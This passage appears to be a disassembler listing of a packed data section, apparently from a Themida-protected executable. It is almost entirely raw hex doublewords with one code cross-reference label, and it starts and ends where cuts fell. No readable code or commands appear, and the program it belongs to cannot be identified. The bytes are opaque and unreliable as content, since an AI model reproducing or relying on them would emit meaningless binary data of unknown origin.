26A9E202h, 0D0818DBAh, 2AB7296Eh dd 0D618D8h, 6355A3B5h, 0B779990Fh, 4C04FB5Eh, 71496A21h dd 3F42A454h, 4B8B03DEh, 73ACAAD0h, 0C00014EEh, 5C846D9Ch dd 50F52B24h, 0D8F85Eh, 6164E402h, 0EBC74CBCh, 0D204A716h dd 76ADF100h, 356BF5h, 404D11F4h, 0CEC77C5Dh, 386B819h dd 14308BD8h, 80C04A27h, 0B20A18D4h, 7DEC1E00h, 0D967ADDEh dd 2F300C6h, 2A6D4D5Eh, 0A013568Ch, 2400AE54h, 11D8BB78h dd 940800F4h, 64670215h, 0E6E07986h, 0B09D5Ch, 0F8BAEDD7h dd 0FC59CEh, 90476ED0h, 952527D9h, 7534571Ch, 46019D6h dd 128C57Eh, 0AD11CE0Eh, 0CCB4687Ch, 3117F6B7h, 28A0FE2Ch dd 81C600D4h, 0FBCD9B01h, 7200C8EFh, 32655777h, 12C0484h dd 0C0D3CE7Dh, 347BDD2Fh, 0F912093Ch, 684B319Eh, 0A3A8804Dh dd 1CBEA439h, 8125564Fh, 0FAF8073Bh, 52DC74AEh, 0C350900Eh dd 9498142h, 0E0350176h, 2E043220h, 0B80CD9h, 101755E6h dd 7558AADDh, 0D49D0098h, 42523FE7h, 685F005Bh, 3822CE19h dd 850025F1h, 147176E0h, 7D031C8h, 0FCAF0E5h, 48E05BE6h dd 4E048E5Eh, 67C4BDE8h, 654C1890h, 0AA3700C0h, 1095D6Fh dd 0EA0A95A2h, 3CFF31A6h, 799C1825h, 58CF4D07h, 7800E848h dd 3FF0C3BEh, 0AF3067AEh, 4F11E93Bh, 0F8F13942h, 87F42CCAh dd 29FCF24Dh, 734234D5h, 0F09E6119h, 0D4D7E0EAh, 5CAF25BEh dd 0CC0994A9h, 0D985ACB0h, 7903A7EEh, 7E8AB00Fh, 89612F14h dd 0C091E104h, 4F500AE4h, 4033A8C8h, 400C2617h, 0D1462F04h dd 0B20279EEh, 0A8C0BD4Eh, 21FAB81h, 9C0307Dh, 3AE5DD5Fh dd 62280456h, 0A8FB5E54h, 86890118h, 3F6BA263h, 0E047B052h dd 395BD61Ch, 2F01FAE6h, 4BABCC02h, 65E98060h, 88AA97FBh dd 2CA34901h, 6C32B101h, 382D1753h, 0AF850038h, 0F4898A70h dd 1FA30042h, 9A3BD2FBh, 0DD600C76h, 0ED868B39h, 0F10E1670h dd 4F1038B1h, 0C671152Fh, 0B87F1D4Ch, 60B2C0C8h, 0CA8730ABh dd 1477712Ch, 0E433ED80h, 0FA91F07h, 0BDD2A82Bh, 0E058E589h dd 410C737Eh, 102EAB0Fh, 35F80022h, 2F0EA665h, 9C556CBFh dd 49C34784h, 0A0100025h, 7D5D24B4h, 48722D74h, 114F96Ch dd 1030A823h, 68111845h, 0E0403A8h, 8001078Ch, 3D494A38h dd 2816BABh, 938EE16Fh, 96E9F00Dh, 0BFB2C500h, 7DBA23CCh dd 24313081h, 2D51C050h, 0B8415501h, 5836138Ch, 2834003Eh dd 1AF79542h, 11D25FAh, 0C003804Fh, 98478777h, 0E10CFB1h dd 0E64133C1h, 6E5CBF60h, 7600FA32h, 0B20BA6AAh, 0CE92BDEh dd 9365758Ch, 320BF564h, 702EADh, 5914730h, 6C8425B2h dd 8C278470h, 0DDB880C2h, 7D13Bh, 33D4A335h, 8AA0D89Ah dd 3AFFEF75h, 2E593480h, 886C00A6h, 1F5405Eh, 6903A2DFh dd 0C43777Dh, 97DCD029h, 0F8A112F4h, 100CB083h, 1472A600h dd 94DBEB6Eh, 0C444011Eh, 0E7C33361h, 0EEF84067h, 294E4A3Ch dd 64AF40C0h, 68CA49EDh, 6A9A9600h, 97CB1B4Fh, 0FCE46916h dd 0BA30F040h, 3DF83B80h, 0AC00D377h, 940E6662h, 0FA2CCA74h dd 69004C9Ah, 0A5047E92h, 250D66Ah, 0FBF15F50h, 318D0441h dd 2401C180h, 589CF4D4h, 0C18042h, 0EC4BC691h, 5F716F00h dd 135D8C78h, 0CDFF013Fh, 4827CFF3h, 85F04020h, 6301DDB1h dd 8F65EBE1h, 59905D06h, 9C738071h, 0B7E317B4h, 779E0400h dd 1C00935Ch, 0EF863637h, 1862A466h, 805F5E4Bh, 5377F012h dd 0C2C46C01h, 5B7B64Ah, 1874A0F8h, 9855DBFEh, 5913A6A9h dd 1613D6E7h, 41B10502h, 0A8644B3Dh, 4CBA185Dh, 0C20B46D2h dd 1B7ECBCCh, 0A05A550Eh, 0A969EE05h, 0BB5D0061h, 9BDBDC18h dd 7001822Bh, 0F26B9E26h, 0BC4079F6h, 33CA62Ah, 59A8F90Dh dd 0E098DC5Bh, 0A300BC3Bh, 0BD922770h, 0B62C7FF3h, 871F505Ch dd 9E60561Eh, 4317ABC0h, 3DA9AFCFh, 0CB13A0FBh, 1E480140h dd 22A598F1h, 0BDF3007Ch, 5F70FE91h, 0E91448F0h, 82A83F76h dd 5110E0CBh, 0D3C3284Ah, 97FCE85Eh, 0B8220014h, 0C6BE6A2Bh dd 2F003467h, 8DAAE481h, 1DFF1218h, 40B94B55h, 88E1A73Eh dd 7202808Ah, 0B576717Dh, 0DCF8E1F8h, 2108812Fh, 1D1F70E8h dd 0E03DF0F4h, 8C2400A8h, 51DAB10Ah, 33CB005Ah, 22B52F66h dd 2002505h, 0C5CAFDADh, 951AEF2h, 0EB197D30h aDaf db '~D ”',0 ; DATA XREF: Themida_:loc_557F6Eo db 8Fh, 0F1h, 8Eh dd 0BDBBFBCBh, 1FE6B5h, 773B6CD8h, 0EA4D97Dh, 0A0BC730h dd 138C4C6Fh, 18B306h, 0A887C174h, 84023A6Ah, 29552FD1h dd 977CC84Ah, 14250779h, 10A45C05h, 6317B1Dh, 6D005279h dd 0FD27BA68h, 0A1A3C19Ch, 53E8DBC0h, 988000FBh, 0F843D360h dd 0E80E14E3h, 42A0D63Bh, 5784663Dh, 0DA5D3881h, 0CA8420B1h dd 0FE12C26h, 4065AE0Fh, 2D185F73h, 83C809E9h, 8789630h dd 0C9BE716h, 7A205700h, 0BCA0DFEFh, 3765017Ch, 3079E3C7h dd 402DFA04h, 2630E476h, 80D871E0h, 0AE83CB0Bh, 0FC9A3A23h dd 336AC600h, 0B0C1469Fh, 0D1C44C34h, 7D9DEE04h, 0DD94C06Eh dd 4F272357h, 0D3A8C0C6h, 547C0052h, 2AEF5F46h, 514E883Dh dd 7C9658B0h, 2DC300F9h, 0A74DC164h, 0BA2C5DC8h, 22009B4Ch dd 0B05FCAD0h, 196900EDh, 5084CDF0h, 3976748Fh, 0A3EA0816h dd 67F89090h, 12C730E2h, 60E395A8h, 13B894BFh, 1B53D29h dd 760FAB08h, 92B0C849h, 9A255D00h, 41D3B843h, 2E6780Ah dd 6B78D28Fh, 105E05CBh, 0C8E1803Bh, 9D1174B7h, 68D5006Ah dd 3BCD7C9Bh, 8079A46Ch, 4FAAA00Eh, 0B0BC923Ah, 838E3900h dd 20BAE84Ch, 3F61D51Eh, 1E944915h, 0BC8008ECh, 0D8C21477h dd 30613A3h, 916B046Dh, 745490F4h, 92A0A23Eh, 48542353h dd 9E250EDCh, 0F58582Ah, 0E724EAC9h, 6FD170C0h, 0F83F1B0Bh dd 0C46E848Bh, 0BE157Eh, 46CAB5F0h, 0A4788404h, 8E05D01h dd 0FCB20A06h, 33599F8h, 0AE21E976h, 18070532h, 495AE426h dd 6F4B6631h, 57604FEDh, 0EC4400EDh, 283C362Fh, 0A0280C0Bh dd 2500B45Bh, 0BF52AEBEh, 13F769Eh, 4CE6E773h, 3A8182CAh dd 4A192481h, 0A36BC240h, 97BD0065h, 5459A451h, 0E009A7CAh dd 7C9E31B4h, 0E7928024h, 9DD1156Ah, 0D462ED28h, 0BABD3B01h dd 0EE2EC8F7h, 4400C028h, 65A5259h, 0E1008AA1h, 0B9D55E8Fh dd 3F40477h, 2FCF9564h, 26C8F3EFh, 220646BBh, 9ECC355Bh dd 6DEA0D81h, 0CAA13C98h, 0CED31FC0h, 49C63D00h, 16452818h dd 1F2504C2h, 0AE8D679Eh, 0D4C96030h, 0A7810B01h, 0F700EE5Bh dd 3EE4D198h, 0AA2F7913h, 81021500h, 2B3F048h, 0C610689Dh dd 0FCC065F6h, 57102F49h, 17A097Ch, 0D470BA32h, 7AF9345Eh dd 799DD400h, 701047CBh, 9BD11EF5h, 970C89F8h, 1400487Ch dd 72086EA2h, 0A8D725B7h, 2F6DD060h, 7BDBCF12h, 38F21C00h dd 3F12C6Eh, 0B084CA14h, 2BE88870h, 0B62411ECh, 4B9298FDh dd 0CB637801h, 8420EE85h, 239EAF6h, 7551130Fh, 74C02A54h dd 2F00B88Dh, 0E63D0811h, 1D6679CAh, 430DACB1h, 67A7574Ch dd 98C038A2h, 0C00DBB7h, 309C4B07h, 946011BFh, 40210714h dd 0A848C254h, 0CDD40577h, 97D60E8h, 96089FD6h, 704FB0A1h dd 0E4B861FBh, 7B045311h, 0E1C5FF6Ah, 1684E9C0h, 20EF60A8h dd 85ED8DF1h, 34480860h, 62EF2E7h, 0B9C57ABCh, 4B0078FCh dd 407FEB72h, 13D90D7h, 91E56A31h, 7C093B98h, 40E1E754h dd 0D4D8E3B3h, 0BD60093Fh, 54F0BA5Bh, 0F315321Ch, 64303072h dd 59CC006Ch, 887626A9h, 0B0A01C24h, 211C5CACh, 184BC367h dd 8C7D8248h, 64D4E1h, 96C81B95h, 420001CDh, 9C07520Eh dd 146C1BEh, 1E4C7827h, 0E2FAE656h, 73008056h, 0E2144547h dd 0BB0E1D77h, 0B04EBCF7h, 7658AF70h, 63D16DFh, 757588B0h dd 170E12F2h, 0A9AC011Eh, 0EDDB3709h, 0E16BF8CAh, 0D022D730h dd 0E454B45Fh, 0FC2A00F0h, 0FEF23A4Ch, 0C49015A2h, 8010D607h dd 7E017581h, 55600408h, 2E50078h, 7D9CFCC4h, 794F9A0Dh dd 6BCD7090h, 0B6C000D5h, 80506E77h, 3740900Ah, 534300FCh dd 0EE31C614h, 0CFE4B69Eh, 86B748h, 0C9B8423Dh, 1CE45AFh dd 578E89C5h, 70D5E2F7h, 560025F8h, 0FB759107h, 6C73DBEh dd 7D23E8CFh, 6600E1C8h, 0D86CF93Bh, 25772DEh, 0D8B5845h dd 0D880996Bh, 0A7B86F03h, 10F4B39h, 65105BA8h, 34E4ABE7h dd 72F53063h, 57D8128h, 18F03002h, 64B81A13h, 4871226Ch dd 9363A12h, 137594B0h, 341E4Ah, 8BB052A8h, 0A600F83Eh dd 1B7E3561h, 8C88F2h, 0DE312CE7h, 293A79FCh, 0E2029718h dd 0EF389Eh, 0B2F761F9h, 0F528A967h, 0AC7DBC07h, 0CAF09574h dd 0A0C7E786h, 13208390h, 0C38CDEh, 66A8B1C5h, 6500C4DAh dd 0BA3D3145h, 0FABE9B48h, 85F7003Ah, 0C61EC81h, 10001419h dd 0E82A95D9h, 4BB2C8D7h, 6228808Dh, 77044B0Dh, 2159809h dd 126F34CCh, 0E8ABD6EAh, 0D51101ACh, 60AA440Dh, 0E5D0C03Bh dd 8FFAED31h, 5E81A300h, 3EB46517h, 6DCF011Bh, 854F695Fh dd 7C207E6Ah, 0B437FD0Ch, 7FE5C280h, 0FA002CD8h, 0FC94E106h dd 12D44E33h, 1A9121h, 0E44C73A1h, 0BE4DE393h, 6CF31F1Ch dd 0B5012780h, 1389978Ch, 0E6BAA0Dh, 1460B644h, 0BDA0C4CCh dd 6302B890h, 9F2CA792h, 0DD2C419Eh, 350F9879h, 0B58CC9F5h dd 0DA3DD528h, 1E98DC5Dh, 806530ADh, 0C366AC8Ch, 8E5B9Ah dd 0FE1F8264h, 395E3D89h, 4BFDD480h, 0C0B57012h, 0E0805611h dd 0FA06A2ACh, 1D478F65h, 30FD7370h, 9249AAC3h, 340B44ACh dd 40300C0Dh, 777118h, 0E918FF7Eh, 10A043B3h, 43B82E7Eh dd 0AB28D91Ch, 0A2390D46h, 2C9D1C68h, 3A4D03E1h, 0C09D48D1h dd 7F9835CDh, 1564F09h, 0F6C064CFh, 60C8069h, 0D030C8B0h dd 0B5E41066h, 1D75A0Bh, 3B3C4D8Ch, 50803E95h, 0F62E30FEh dd 46B42678h, 24DE26ECh, 887480ECh, 0E461C0CFh, 8069DA25h dd 0BE90234Ch, 4A53188Ch, 2BDE6068h, 90E0A327h, 0B0523308h dd 370A0758h, 0C0D60B2Dh, 60AD63B0h, 1E7AF700h, 0A70616EDh dd 0A09E09D7h, 70F4CC91h, 4CBA4401h, 4080A965h, 0B186F079h dd 0EE00F46Bh, 0AD22566h, 5FA8B5Eh, 0DBAA2311h, 9970C0EFh dd 0CB004D09h, 29F193EDh, 9065BCh, 0BA08F8F0h, 7E721C0Ch dd 0D8193E27h, 7A880014h, 5367C2EDh, 380063A1h, 0D0EB183Dh dd 13F839Dh, 92795F91h, 64DAB8E2h, 0C412ABECh, 30E85616h dd 436400BAh, 6DFDACD6h, 90491308h, 4818BAB6h, 0E1CE8A71h dd 0D828802Eh, 0C2B79052h, 0C110241Ch, 251BB908h, 0E641EF28h dd 912E4354h, 6BEE2C3Ch, 0F86B0490h, 6E610048h, 395A4910h dd 0C400F77Ah, 886315CEh, 330D4A1h, 0DABDF4C2h, 3ADB5B3Dh dd 0FE21807h, 7AC7E9DCh, 0E0DF0357h, 0B5DAC890h, 0E6DD0171h dd 0D7BE0774h, 0E0FB7058h, 0EA492701h, 0EE3B52CFh, 166881ACh dd 85EB010Ah, 8070629Fh, 216E5488h, 0C0EA442Dh, 0A8415729h dd 0E00E0F86h, 80EF9210h, 0BDB59056h, 2780A4E6h, 2C719588h dd 250F9810h, 3B00948Dh, 0A4CA34DCh, 0AB4C4897h, 4FCB07E8h dd 10F25427h, 2F5802FBh, 8C968000h, 0A4AF42C1h, 0F3B763Dh dd 61333188h, 0B7767A20h, 0DF0E1D1Fh, 0E0CE14A8h, 46EC89BCh dd 90D407C9h, 0AA390EFBh, 15100CCh, 6F137107h, 0DB04A405h dd 0B2802E3Dh, 73A1AF7Fh, 63BF008Fh, 0B818CFC1h, 0A701E54Dh dd 0D7BC9CB3h, 0A73029D1h, 29809DC5h, 0AAFF31BEh, 0DCBB218h dd 14701AE9h, 0C830A4FAh, 0B39BE500h, 0BFE2963h, 0C3360D02h dd 0A1E3F00Ch, 0A1EFC6A4h, 2478C130h, 0F22DC5h, 0BE020FC4h dd 0BB3B3E9Bh, 0CE5D8CDDh, 0BF6105h, 0EAE5238h, 3FE0C4F8h dd 0B894852Ah, 0B9457800h, 0D84CF710h, 5393006Ah, 52E17B87h dd 3900B720h, 68ACEBA6h, 60D83F56h, 481E3865h, 2009F94h dd 72BD1CD9h, 505329h, 5A9E6335h, 24E891B5h, 3C00D0BEh dd 0C564B13Dh, 0C0930E87h dd 1040ED09h, 3FDC2CCBh, 0F72DD41Eh, 53868BC0h, 25629Eh dd 7EBDF514h, 950E5726h, 4D566300h, 2E55274Eh, 8D2B0FE2h dd 94805DA7h, 6E5E05D7h, 0C76AF897h, 90D8DFD9h, 0DBEA316Ch dd 0E9F22701h, 20D7EBA2h, 0C2077820h, 626A0E29h, 0DCD2AC80h dd 0AC91929Bh, 0AC185E26h, 0EB2CC1h, 0CE66FE4Ch, 95C73336h dd 79A27007h, 0EAC0AB37h, 3D21455Ah, 0CAE4A31h, 30823AC2h dd 0B7A52B5Ch, 268F2D60h, 224D6200h, 83D817D1h, 764F002Ch dd 4AABA11Eh, 2007F87h, 3707F078h, 6337055h, 7D5DBF6Fh dd 3600FAE6h, 2F6B452h, 7A9074h, 0AD39C7CBh, 6BA6E7DAh dd 1981C500h, 0FD594ECAh, 0D5D1005Eh, 0FB44CB16h, 0DC003A0Dh dd 0CD3E2F1Eh, 2E06FD12h, 3A692785h, 4E6EAB00h, 8D012214h dd 66DF9B00h, 0A272BC1Eh, 80D8F59Ch, 56480028h, 19FC02DAh dd 8A007E49h, 0DF6DCE26h, 37C24FDh, 0D4F1DC68h, 0D6B8A19Bh dd 80000DF5h, 787E1808h, 4E7674h, 341C071Fh, 0EBC86E83h dd 0B4BF2C00h, 7BC1DC92h, 0A4D63CB8h, 94EF1900h, 398556B7h dd 3E3D2B07h, 7263382Ah, 6876F6h, 78ACD08Fh, 0D266F30h dd 4100C777h, 0BD32E31h, 0A0AA7569h, 127B9CCh, 52D29248h dd 80F708CFh, 8D676B40h, 0AC650Ah, 3E35D05Dh, 301687F0h dd 0AE8F5924h, 0A8EB5F01h, 20E8250Dh, 50C46004h, 2CE9CF64h dd 0C11CB300h, 5937272Fh, 0B9DC00D9h, 194E3B7Ah, 22007180h dd 49826156h, 0C712BCh, 0EB524833h, 759F1810h, 144BD200h dd 5164E6FBh, 6B3E016Eh, 0D30DDA8Eh, 0E4A270E3h, 255BC600h dd 0D2DBAE28h, 7D42007Ch, 7EBB652h, 5A01DCA6h, 0B9AF98ACh dd 85403F22h, 6A7BD53h, 2B2C2FEFh, 0A803203Ch, 2DEE237Fh dd 6EB4E1C7h, 4E9EC4h, 0DC847112h, 0E13008A4h, 0E4BD4105h dd 0C6AB21DBh, 0F900F022h, 0D3537D27h, 2D9DED2h, 102C5B58h dd 44E1DFD4h, 0BB34301Bh, 837D2900h, 26DB64B7h, 0BE19004Ch dd 0AFDDE15Dh, 1200FD5Ah, 2B10AE08h, 709C111h, 1F13337Ch dd 94F32002h, 0D2009C15h, 0ECE8369Ah, 5B61C8h, 607D3375h dd 0C7DAEEC0h, 80812939h, 407B68FAh, 7F483604h, 7EF400DCh dd 936E3D03h, 0BF00D542h, 0AE05A0ABh, 732AAC45h, 49B8008Dh dd 65EB59FCh, 0E5E8D077h, 3CAD033Fh, 94180E92h, 7C1D00EDh dd 1C78C744h, 402133CAh, 49FB10ECh, 46E2633Ch, 0C3F6F91Dh dd 74879F00h, 4876E389h, 2D0838C8h, 900EB1Dh, 0E00262AAh dd 0EC2A2030h, 41D7F00Fh, 59A24169h, 0A080D11Ah, 0A40C2A0Bh dd 78002106h, 0CDE87428h, 6080ECBCh, 8394380Ah, 6EECF8F3h dd 93E98400h, 0DA4B5DCDh, 0BA8A24B4h, 3CE00EEh, 0B99A807Ah dd 2887A648h, 420EB09Eh, 476DC450h, 0E3100AEBh, 7E8A08CBh dd 0BE20D9Dh, 0E828A5FCh, 9800491Ah, 43365348h, 1C0ED012h dd 805CE1DEh, 0C94042DCh, 0B4907A51h, 0BFC86D07h, 8745C20Eh dd 0A78BFF00h, 0EE84CCh, 6728F253h, 56505FBCh, 0A4E47E07h dd 979016B2h, 24F059Fh, 696C53E8h, 0D048C53Bh, 3E0347C9h dd 0C6840CB8h, 86700052h, 0ED0D2143h, 9C00AAC3h, 29FDF359h dd 3F7C8337h, 0B70053A3h, 0C4731CD6h, 0F3008BE7h, 7A0B02Ah dd 3EF57C12h, 4A98E91Fh, 365B9D4h, 959BE200h, 790EDEFFh dd 72AE071Bh, 733FE3D0h, 0CA80976Dh, 9B01051Ah, 0F50332E6h dd 0D6F08958h, 61B40025h, 623164DEh, 0A3D0EDFh, 5C5087A8h dd 3060727Fh, 0F6C4289h, 8C1AAF04h, 958538C0h, 0E0FC11Fh dd 0C0BD92FAh, 2C319467h, 759A1396h, 0B3A80041h, 848AD715h dd 0F5CB3B0Fh, 0BF2D00FFh, 107A82h, 0ABC9CFB0h, 0C2518F80h dd 0BC1FACFAh, 8E4FFEF0h, 1954A030h, 0B8D870DBh, 51DF009Ah dd 0B439E6B3h, 3F010388h, 0FE419761h, 6CF513A3h, 9992D8h dd 0B4C3C02Dh, 6581AEB7h, 0DC7A3Bh, 714A70F7h, 24C4B955h dd 0C058DAB3h, 4C66B46Ch, 0C1075300h, 0FCA0653Ch, 8C810074h dd 0B19644FDh, 63327027h, 600F6010h, 32C15087h, 9CB0490Ch dd 2E65A9E0h, 0DCDAAB00h, 644D34A8h, 0C25E0083h, 0F4A4040Fh dd 0F9008A16h, 59133F7Dh, 518718h, 8C9C661h, 56427EEBh dd 0AD40900Bh, 17F5806Ch, 0F07F782Eh, 318B0B0h, 43110567h dd 0F09764D7h, 93065629h, 9950FA18h, 0A455D88h, 47CD7E1Fh dd 8BAA400Ch, 0DF00A941h, 0E6D215F6h, 52896AEh, 0E2364BFh dd 0EA8C00B6h, 973D1F6Ch, 51318200h, 2D3BE128h, 306B5938h dd 3A173F00h, 0B07C2CB6h, 19519A0Eh, 0A4CDAA13h, 85864900h dd 0C6C128h, 5A963433h, 0CE9E2D54h, 0FA2F20C0h, 12A16AE9h dd 37B2006h, 8F308260h, 214EA28Fh, 2FB4C8A0h, 1200ABACh dd 4FC87EE1h, 3EEFB59h, 0C5FF1848h, 2800CB3Dh, 0C701ED07h dd 9A28B744h, 8A105E8h, 918FD927h, 0EC3D046Ch, 0B914446Eh dd 0FE0A24Eh, 0A05CFA5Fh, 505DC285h, 0EE933C0Ah, 7067477h dd 0CDA8B596h, 724CA0B0h, 0D00078DDh, 0EB318547h, 1CAD2A88h dd 41C058E9h, 696800Bh, 0CAEEECD1h, 16CB5012h, 0E4EFA400h dd 0EA77C559h, 91E000F7h, 0FA6D47D4h, 0DE02968Ch, 437EBE9Ah dd 0A608C00Ch, 0D7350082h, 0E2C1B90Bh, 0F3005D45h, 52E337ABh dd 0EAD6923Eh, 46880B26h, 0A88E0920h, 5171F520h, 850139E8h dd 4AD08743h, 53CC848Bh, 44970650h, 0FCC95D0Bh, 0A70E7F7Ah dd 40DF07F5h, 2EB694D2h, 0BF38170Dh, 3CC80034h, 26162F2Dh dd 0A8C0DA00h, 0FDBCFA48h, 8C0F00B7h, 0D1899FCEh, 1F1CF777h dd 415E3BE0h, 4578E500h, 0C1FEB123h, 502D82ACh, 57CD305Ah dd 0BC8B483Fh, 4ABE80F4h, 0D8173E6Ch, 0FE543994h, 0D9010273h dd 0CC6FD4F5h, 200AA087h, 52883738h, 3C5C001h, 583E40B8h dd 0B7E0220h, 0F68B9B4Ah, 12B3238Ah, 775C405Bh, 844822FCh dd 0C758C803h, 88D35111h, 50E08Eh, 0C65EB60Fh, 4AC91880h dd 36965D07h, 0B580E8FEh, 0F0F1697Eh, 17E900BDh, 0E593F7D0h dd 4C122583h, 245CA815h, 98C7038Eh, 5682370h, 0C6BF3FF2h dd 1F46C4FDh, 80431FDCh, 41441905h, 18A0893Bh, 0A81E3971h dd 0FD401F3Fh, 0EAC6B74Dh, 0EB0A00ACh, 9579DAC9h, 0B6003DECh dd 6BD6879Dh, 383418Dh, 257C5EA6h, 85D119C7h, 0D38FE264h dd 0A9156DC3h, 0C0E334D7h, 93BBEB5Dh, 23D7742Ch, 97D57600h dd 0A01C6B68h, 443CE960h, 6A00EBC9h, 5C49BC84h, 0E9074505h dd 0F591EA00h, 0DF786807h, 188C867h, 0FEC71737h, 0A428814Bh dd 0DE83C07Eh, 0E8765C80h, 420E753Ch, 1BF1FE00h, 0D97824DDh dd 66BD0052h, 0DB746284h, 7907A196h, 0A21A03Eh, 0B2F922A0h dd 0B0694805h, 73578500h, 0D865EFA2h, 1E411100h, 0D792DE48h dd 1FDB0FB6h, 5900E99Fh, 0DCA4ABE3h, 77ECE0Fh, 65A7C375h dd 7293B056h, 0E460024h, 4E3736B9h, 8A036179h, 0CC69A402h dd 947E0044h, 7ACB1AE6h, 870613D3h, 0CA64197Eh, 80112310h dd 0A0840F03h, 0DC41F40Ah, 0A2E5A286h, 5A569841h, 1DA40D04h dd 53D410CEh, 8A99A088h, 21106037h, 67430FBEh, 0D6028E03h dd 0F815F893h, 1BA8C44h, 0B128698Bh, 41A3957Bh, 80BC2D2Ch dd 29032F61h, 397F840h, 0CAEF8BA0h, 31A94E89h, 0D5D1F065h dd 0EA0CB2E8h, 41CBACECh, 1D740064h, 0C6D74DFEh, 873A45A5h dd 219D30CAh, 1D7B3Eh, 5CA85234h, 1CBE29C1h, 0D481BB60h dd 30689DC7h, 0C131CCA4h, 3D078591h, 55B4A383h, 2FB06360h dd 33A029C4h, 0A2190084h, 1883E631h, 3CA7270Ch, 0C0930808h dd 321AE721h, 0B0A8A0Ch dd 38BAD7C6h, 182BDE03h, 0F0C82304h, 0F21D7800h, 86CA774Dh dd 0A6144h, 85D31EA1h, 72805C22h, 77FF5F00h, 0EC0548Eh dd 0A4CD5451h, 0DC6F3A6Bh, 405C251Ch, 4C05484Dh, 0B809CD13h dd 90630EB9h, 0FB7A2Ch, 37D7758Bh, 0E7DFC668h, 21AC08CCh dd 0ADD658DCh, 0A4B83B03h, 1900A763h, 0AD1E255Fh, 13044580h dd 2C5DFEDh, 8543BF47h, 0C42BE778h, 0DD0E989Bh, 10834431h dd 0FC20BD62h, 773B3215h, 0D6701C9Eh, 1DC0C084h, 0A0524BB7h dd 0E2490E18h, 6FDAC5E1h, 538639A4h, 0D9EC19CCh, 7C099E12h dd 23B03010h, 1D7509F9h, 0B0232DF4h, 0FF03CF11h, 0B20E1D7Dh dd 2DDD73A0h, 71559D31h, 0A4119629h, 0ED3180D5h, 0ECB510A5h dd 277307C3h, 30B461A3h, 6E0876E0h, 228CEF48h, 545B1E01h dd 905100D4h, 3AE58267h, 3C0A4C01h, 5B526E33h, 2259E890h dd 618A02D5h, 0DBBE229Eh, 9382A490h, 2AD3EC3Eh, 0ED467411h dd 0F11D7902h, 6031AF4Dh, 1EA20B10h, 166C6101h, 0C64D165h dd 0EA7D2FF4h, 0BABC40C9h, 0CD88A176h, 34960637h, 895F630Fh dd 60810100h, 0CE0A8792h, 617B0051h, 0F820DDE6h, 24EC79CCh dd 0B53C9404h, 0CCC82D59h, 0D94F0E2Bh, 78E0A9BBh, 0D51778Bh dd 21C84A30h, 48799h, 3ABF8CBEh, 2861CC43h, 0E889A86Dh dd 1D7230D6h, 874DF411h, 4809D88h, 25901E9Bh, 73B70258h dd 0EDEC5FDh, 60F8E4AAh, 0BD772313h, 85AE5B03h, 9B5051F1h dd 60FAE64Bh, 0E4F31A7h, 0CE0AF5E2h, 84B06BC7h, 0D2906186h dd 642D5049h, 0E07A0365h, 1837BA32h, 0EF594102h, 845C8B7Ch dd 0EC0876F4h, 0D80DE89Dh, 0CAE0492Ch, 0A17900E3h, 0C805B443h dd 8CC9C6Bh, 8721EFh, 221179EBh, 3DB10F4Dh, 38E3BF03h dd 1202377Dh, 0FBED771h, 0E20046DDh, 3E3C4F78h, 0B5FF4900h dd 7C59A889h, 0E83730ECh, 0B4480E31h, 906361C9h, 2C987100h dd 0E2BDF7h, 0B59E9FCFh, 3100D0BAh, 2361FC63h, 7A067C81h dd 0C55F3ADBh, 0F1CACC19h, 0BBB842A4h, 11454320h, 0A5A30490h dd 0C3A1DFECh, 1C8BF92h, 0B0B00FE8h, 8488521Eh, 411D81Ah dd 0E760EC8Ch, 4323DD79h, 0AB443F94h, 0BE79EF00h, 221C572Ch dd 55012828h, 46EE01BBh, 0D94CFE45h, 8D08E0A3h, 0D4BE8C0Ah dd 4A4480BCh, 4B0EA02Ch, 0CE51E89Eh, 0ECF900FCh, 0D413BFh dd 0CDB4F854h, 3825F43Eh, 0B049A560h, 3520B9Fh, 7C37AEACh dd 0F00FA4BAh, 2CF32E64h, 71229ABh, 0AD7DCE0Dh, 94F62004h dd 2007289h, 4A62376Bh, 0F44469h, 0C8A5FE5Bh, 43490D1Ah dd 8274554Ch, 2DE1C76h, 0CC6448C7h, 0DCECBA1Ch, 0A555D580h dd 0A003E0C5h, 88F14970h, 8278BF8Ah, 0B4086128h, 41C06375h dd 132188D4h, 288AB85Fh, 0EC2CB043h, 55621303h, 510C23A4h dd 0A82F09D0h, 1AD4B0A0h, 31AA6430h, 7BD1098h, 0C7E52429h dd 14409FBBh, 0A20C62A1h, 1861723Ah, 7C91C22Dh, 15E00269h dd 0B832279Fh, 8B299641h, 85FCE428h, 30C91C2Ah, 146BDEF8h dd 0ACAE248Eh, 5652CC00h, 7EC50EB5h, 0C7DBCA06h, 52895471h dd 283BCC37h, 835DCE1Fh, 22E8D044h, 50CC9AE2h, 1131DC3Eh dd 0BF880883h, 3214F980h, 4AFF3A6h, 62FEC278h, 4010CD8Ah dd 5E9C28CBh, 105384A1h, 0E111E4Bh, 8B55D3D5h, 933604C1h dd 8A703075h, 0A1BB2708h, 0FD5380C6h, 7143F494h, 2956D00h dd 5084F63Dh, 7FE00304h, 0AA377915h, 4F1F7107h, 0BCA04791h dd 0F84AB8F0h, 90E90015h, 6143CB99h, 0FC00EC7Fh, 880EBA83h dd 11DB867Ch, 0D1A482h, 674A079Ch, 0EE64E8h, 511E5F0Bh dd 0D7ECDDCBh, 53CA4905h, 0B8CEA819h, 5BC36088h, 0B5DE0025h dd 82CF9DEDh, 564847C7h, 0BE1C9E28h, 1020DF53h, 49352D5Ch dd 45095060h, 0C003E57Dh, 5900D3A1h, 0C56CD73Fh, 0FE43621Ch dd 0AB9600E2h, 0E149A5F4h, 6C98FC29h, 0A1463CB0h, 0E331A301h dd 0B26A083h, 321BFA00h, 52AC0E01h, 0FC65C601h, 0F98F1666h dd 443297F1h, 823CD723h, 0EC43A279h, 13B81910h, 0DB79E0B0h dd 0B2E800CFh, 598F7862h, 771F95C7h, 61CB5C82h, 7CA44826h dd 6BE17D40h, 3497C0FFh, 94809891h, 831B3757h, 0E0498413h dd 5863A046h, 0B0EB0049h, 80683D7Ch, 0BF00DFD7h, 67FA4459h dd 258C1977h, 0CC2126D5h, 201B537Dh, 36437C90h, 0F2321602h dd 0A4B1B883h, 0EE31095h, 0A4C32C32h, 426A4088h, 0FE010278h dd 913B257Bh, 0E094BE83h, 17832C7Dh, 0C0F2EF32h, 0E6700032h dd 1255320Fh, 308B7D48h, 0CC7B56E8h, 230612F0h, 0FE265EF3h dd 3EC71A79h, 0B4846160h, 0E374C901h, 73AD28A9h, 1EF2328h dd 4DF31D73h, 809C737Fh, 1F1E9C05h, 